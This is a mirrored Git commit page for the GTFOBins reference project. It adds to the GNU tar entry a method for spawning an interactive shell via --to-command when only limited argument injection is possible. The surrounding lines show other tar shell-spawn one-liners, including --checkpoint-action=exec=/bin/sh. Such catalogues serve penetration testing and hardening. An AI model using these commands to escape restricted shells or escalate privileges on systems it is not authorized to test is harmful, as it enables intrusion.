public-mirrors/GTFOBins.github.io
1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io synced 2024-12-25 06:19:27 +01:00
Code Issues Projects Releases Wiki Activity

Add --to-command interactive shell to tar

Browse Source 
Close #27
This commit is contained in:
Andrea Cardaci 2018-10-21 12:04:33 +02:00
parent a7818d5f16
commit 0c8a06246b
1 changed files with 7 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

7
_gtfobins/tar.md
View File

@ -4,6 +4,13 @@ functions:
- code: tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh - code: tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
- description: This only works for GNU tar. - description: This only works for GNU tar.
code: tar xf /dev/null -I '/bin/sh -c "sh <&2 1>&2"' code: tar xf /dev/null -I '/bin/sh -c "sh <&2 1>&2"'
- description: This only works for GNU tar. It can be useful when only a limited command argument injection is available.
code: |
TF=$(mktemp)
echo '/bin/sh 0<&1' > "$TF"
tar cf "$TF.tar" "$TF"
tar xf "$TF.tar" --to-command sh
rm "$TF"*
file-write: file-write:
- description: This only works for GNU tar. - description: This only works for GNU tar.
code: | code: |